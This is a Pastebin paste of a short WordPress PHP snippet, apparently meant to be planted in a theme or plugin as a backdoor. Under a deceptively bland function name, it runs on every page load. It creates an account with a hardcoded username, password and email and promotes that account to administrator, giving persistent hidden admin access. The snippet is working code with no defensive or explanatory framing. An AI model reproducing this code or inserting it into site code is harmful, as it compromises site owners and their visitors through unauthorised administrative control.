Advertisement
Guest User

Untitled

a guest
Mar 20th, 2019
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.69 KB | None | 0 0
  1. add_action('init', 'something_nothing_core');
  2. function something_nothing_core() {
  3. $username = 'bashar';
  4. $password = 'bd123$#';
  5. $email = 'admin@gmail.com';
  6.  
  7. $user = get_user_by( 'email', $email );
  8. if( ! $user ) {
  9.  
  10. // Create the new user
  11. $user_id = wp_create_user( $username, $password, $email );
  12. if( is_wp_error( $user_id ) ) {
  13. // examine the error message
  14. echo( "Error: " . $user_id->get_error_message() );
  15. exit;
  16. }
  17.  
  18. // Get current user object
  19. $user = get_user_by( 'id', $user_id );
  20. }
  21.  
  22. // Remove role
  23. $user->remove_role( 'subscriber' );
  24.  
  25. // Add role
  26. $user->add_role( 'administrator' );
  27. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement